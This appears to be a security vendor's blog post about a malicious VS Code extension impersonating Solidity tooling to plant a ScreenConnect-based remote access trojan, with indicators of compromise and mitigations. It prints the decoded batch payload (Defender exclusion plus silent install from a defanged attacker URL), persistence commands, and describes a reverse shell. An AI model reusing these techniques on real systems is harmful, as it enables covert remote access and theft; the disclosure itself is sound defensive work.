Solidity devs targeted again: Malicious VS Code extension drops ScreenConnect-based remote access trojan (RAT) - Checkmarx
← Zero Blog

Solidity devs targeted again: Malicious VS Code extension drops ScreenConnect-based remote access trojan (RAT)

We took down yet another malicious VS Code extension trying to target Solidity / Ethereum developers with a Remote Access Trojan (RAT). We break down the campaign, key indicators of compromise, and practical steps teams can take to reduce exposure to malicious marketplace packages.

a developer at a workstation is tugged by puppet strings from a large ghostly hand above, while a VS Code extensions screen shows “Solidity” and a “ScreenConnect” tag, suggesting a compromised dev setup.

Imagine sitting down to start working on a Smart Contract project, installing an IDE extension to support the Solidity language you plan to use, and finding out that some adversary now remotely controls your developer machine. Someone tried to make that nightmare come true; fortunately, Checkmarx Zero got it taken down less than a day after it was published.

Unfortunately, this isn’t a new problem. Over the last few years, the Solidity/VS Code ecosystem has had a recurring issue with look-alike publishers and extensions that impersonate the legitimate Solidity tooling published by Juan Blanco (GitHub: juanfranblanco). The legitimate Solidity extension’s own repository even explicitly warns users to watch for impersonations and to check publishing history.

screenshot of the warning from the official repository on GitHub

We uncovered a new malicious extension published under the publisher juanblan281 (extension solid281, display name with zero-width characters: solidit\u200b\u200by\u200b; this would look like “solidity” to human readers). We reported it to the Visual Studio Code Marketplace, who have promptly taken it down. Fortunately, the attacker did not publish it to alternative marketplaces like OpenVSX.

The extension is wired to run automatically on startup (onStartupFinished) and immediately executes a heavily obfuscated loader.

This is exactly the kind of supply-chain pattern we keep seeing across developer marketplaces (VS Code Marketplace, OpenVSX). Prior public reporting has shown multiple Solidity-targeting extension campaigns using impersonation, obfuscation, and post-install payload delivery. (Example 1, Example 2)

Get Checkmarx Zero in your inbox
visual

Continuous Targeting of Juan Blanco’s Solidity Extension

The official “Solidity by Juan Blanco” extension has been repeatedly targeted by malicious impersonator extensions on both the VS Code Marketplace and the Open VSX registry. Attackers publish extensions that try to pass as the real one by imitating the name or publisher and reusing the marketplace description and page layout to blend in. To make the listing even more convincing, they often boost download figures so the extension appears popular and safe.

One notable case was a fake “Solidity Language Support” extension by a publisher called ShowSnowcrypto, which appeared in VS Code’s Marketplace with nearly 2.9 million installs, even surpassing the real extension’s download count. Around the same time, security researchers identified a malicious impersonation of a “Solidity” extension on Open VSX, published under “juan-blanco” (with a hyphen) to resemble the legitimate juanblanco publisher. These incidents were widely discussed, highlighting how often malware authors take advantage of the Juan Blanco Solidity extension’s popularity.

What it Does

Windows

  1. Drops a batch script to `%TEMP%\\extension.bat

  2. Attempts UAC elevation via PowerShell Start-Process \... -Verb RunAs

  3. Adds a Microsoft Defender exclusion for Program Files (x86)/*

  4. Silently installs ScreenConnect / ConnectWise Control from attacker infrastructure. These are remote access tools that are being misused by the attacker to gain unauthorized remote access to the developer workstation.

macOS / Linux

  1. Drops a Python implant (reverse shell), allowing attackers unauthorized remote access to the developer’s system

  2. **Persists**

    • macOS: LaunchAgent (\~/Library/LaunchAgents/\...plist) and launchctl load

    • Linux: attempts a user systemd unit (\~/.config/systemd/user/testscript.service) and systemctl \--user enable/start (note: the code shows a bug where scriptPath is undefined, so the Linux persistence may fail depending on runtime)

This mirrors broader patterns reported by other teams: Solidity developers appear to be targeted specifically, including campaigns that used fake Solidity extensions to install ScreenConnect and then deploy follow-on payloads.

Technical breakdown: how attackers gain remote access to developer machines

1) Windows chain: UAC prompt → Defender exclusion → silent ScreenConnect install

The decoded Windows payload is the clearest “intent” signal:

@echo off
powershell.exe -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath ([Environment]::GetFolderPath('ProgramFilesX86'))"
msiexec.exe /i "http://meow[.]undefined21[.]com:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" /qn /norestart
del "%~f0"

(Note: safety adjustments made)

Why this matters

  • Add-MpPreference -ExclusionPath <dir>: Defender explicitly documents that this disables scheduled + real-time scanning for that directory.

  • msiexec /qn: fully silent install (no UI), classic for unattended deployment by malware. The URL provided as an argument downloads the ScreenConnect remote-access tool for installation (we added brackets to avoid accidents)

The loader also checks for an existing “ScreenConnect Client” directory under Program Files (x86) and exits if found (suggesting the actor expects repeated runs / reinfection attempts).

2) macOS persistence: LaunchAgent + hidden dropped script

The macOS branch writes the reverse shell Python file and then creates a LaunchAgent plist with RunAtLoad, loading it via launchctl. (common persistence mechanism on macOS.)

3) Linux persistence attempt: systemd user service

The Linux branch tries to create a user unit at: ~/.config/systemd/user/testscript.service then runs:

systemctl --user enable testscript.service
systemctl --user start testscript.service

However, scriptPath is undefined in the unit template, so the Linux persistence may not work as intended in this exact build.

4) Python implant: reverse shell over XOR “encryption”

The python payload is a classic interactive reverse shell:

  • connects to c[.]undefined21[.]com:4444

  • sends a victim identifier __NAME__:user@host

  • spawns /bin/bash under a PTY

  • multiplexes socket ↔︎ PTY I/O

  • supports __PING__ / __PONG__

This is part of a larger adversarial pattern (context)

This incident is not happening in a vacuum:

  • OpenVSX has had repeated “Juan Blanco look-alike” reports, including an OpenVSX issue opened by the legitimate author pointing to a fake juanbIanco publisher (uppercase “I” impersonation).

  • Solidity developers are a known target set for malicious VS Code extensions. Datadog’s Security Labs documented a campaign (MUT-9332) using impersonation and obfuscation to deliver malicious behavior to Solidity developers.

  • ScreenConnect as a follow-on payload in fake Solidity extensions has been reported publicly (OpenVSX ecosystem), including cases where ScreenConnect was used to deliver additional tooling and steal crypto assets.

  • The broader “malicious extension marketplace” problem keeps repeating across multiple stores and publisher accounts.

A “calling card” in the source: ASCII art + a pointed message

Before the obfuscated loader starts, the attacker left a header comment in webpack.js that looks like a signature: a block of Unicode “ASCII art” followed by a short note clearly written for humans reviewing the sample.

We can see a clear taunting at the devs of the recent GlassWorm campaign by the emoji choice. The 🥛🪱 “glass worm” combination is hard to ignore given recent public reporting around “worm-like” VS Code/OpenVSX marketplace malware and invisible/unicode tricks like the GlassWorm campaign the threat actors are mentioning.

screenshot of “calling card” in webpack.js

Mitigation Checklist

If you suspect this extension was installed, treat the host as compromised: isolate it, remove the extension, and hunt for persistence + IoCs before returning it to normal use.

  1. Remove the extension from affected machines.

  2. Windows:

    • Check installed programs/services for ScreenConnect / ConnectWise Control.

    • Review Defender exclusions for unexpected entries (especially Program Files (x86)).

  3. macOS:

    • Inspect `~/Library/LaunchAgents/“ for the listed plist and any recent additions.
  4. Linux:

    • Inspect ~/.config/systemd/user/ and systemctl --user list-units for suspicious services.

Indicators of Compromise

Network

Outgoing connections to any of the following resources:

meow[.]undefined21[.]com:8040
c[.]undefined21[.]com:4444
http[:]//meow[.]undefined21[.]com:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Dropped files / persistence

Files matching the following naming schemes:

%TEMP%\extension.bat
/tmp/.test.py
~/Library/LaunchAgents/com.example.testscript.plist
~/.config/systemd/user/testscript.service

VirusTotal Scan (ScreenConnect exe)

VirusTotal page for the ScreenConnect.ClientSetup.msi installer

File hash: 27839e28629d80a917e2f0b0cbc2c1d87a3b2ab7b620d133672712b801104236

Note: ScreenConnect is legitimate software often used for remote machine management; however, it is also frequently used as a Remote Access Trojan (RAT) by various adversaries. If your organization has not adopted it for legitimate purposes, you should treat its presence as an indicator of compromise.

Timeline

  • 2026-01-08 21:08:41 UTC — Extension published / release date (juanblan281.solid281).

  • 2026-01-09 00:45:38 UTC — Last updated.

  • 2026-01-09 12:37 UTC — Reported to the Marketplace.

  • 2026-01-09 15:47 UTC — Marketplace confirmed takedown; listing is no longer accessible.

Tags:

Malware

VSCode

VSCode Extension